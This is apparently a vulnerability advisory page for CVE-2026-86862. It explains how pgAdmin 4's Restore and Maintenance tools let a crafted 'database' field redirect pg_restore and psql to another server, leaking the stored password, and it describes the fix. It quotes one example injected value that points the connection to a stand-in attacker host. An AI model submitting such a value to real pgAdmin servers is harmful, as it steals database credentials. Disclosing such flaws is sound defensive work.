Vulnerabilities

CVE-2026-86862

High 7.1 CVSS 4.0

Description

pgAdmin 4's Restore and Maintenance tools passed the client-supplied 'database' field directly as the value of the --dbname option given to pg_restore and psql. libpq expands a database name containing an equals sign into a full connection string, and connection keywords embedded in that value take precedence over the --host and --port arguments that pgAdmin supplies. A value such as 'host=attacker.example port=5432 dbname=x' therefore redirected the utility to a server chosen by the requesting user rather than the server the operation was invoked against. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection presents that credential to the attacker-nominated endpoint, which may capture it. The redirection additionally permits outbound connections from the pgAdmin host to arbitrary network addresses, including hosts not otherwise reachable by the requesting user. The behaviour is reachable by any authenticated user holding the tools_restore or tools_maintenance permission, both of which the default User role grants. The Maintenance tool was not affected in the earliest releases, where the value was wrapped by a quoting helper that incidentally prevented expansion; it became affected when that wrapper was removed. The fix supplies the target database in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. Where pg_restore requires a --dbname argument to be present, an empty value is passed, which contains no equals sign and is therefore not expanded, while the real name is taken from the environment. This issue affects pgAdmin 4: from the introduction of the --dbname argument in the Restore and Maintenance tools before 9.18.

Description as published by the source, in English.

Key facts

Published
2026-09-17
Last modified
2026-09-21
Assigned by
f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:
Scored by
f86ef6dc-4d3a-42ad-8f28-e6d5547a5007
Fix available
Yes, see references

Affected products

Vendor Product Versions Status
Pgadmin Pgadmin 4 < 9.18 Affected

Weakness type

  • CWE-522: Insufficiently Protected Credentials

    The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

  • CWE-88: Improper Neutralization of Argument Delimiters in a Command

    The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

  • CWE-918: Server-Side Request Forgery

    The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Attack techniques

Derived through the weakness type: CVE to CWE to CAPEC to ATT&CK. This shows which techniques the weakness class is historically used for. It does not assert that this vulnerability has been exploited that way.

  • T1021: Remote Services lateral-movement
  • T1021.002: SMB/Windows Admin Shares lateral-movement
  • T1078: Valid Accounts stealth, persistence, privilege-escalation, initial-access
  • T1110.004: Credential Stuffing credential-access
  • T1114.002: Remote Email Collection collection
  • T1133: External Remote Services persistence, initial-access
  • T1543: Create or Modify System Process persistence, privilege-escalation
  • T1550.002: Pass the Hash lateral-movement
  • T1550.003: Pass the Ticket lateral-movement
  • T1552.004: Private Keys credential-access
  • T1558: Steal or Forge Kerberos Tickets credential-access
  • T1558.003: Kerberoasting credential-access

References

Does this affect you?

A vulnerability matters only if you run the product, in an affected version, somewhere an attacker can reach.

Check your asset list Browse all vulnerabilities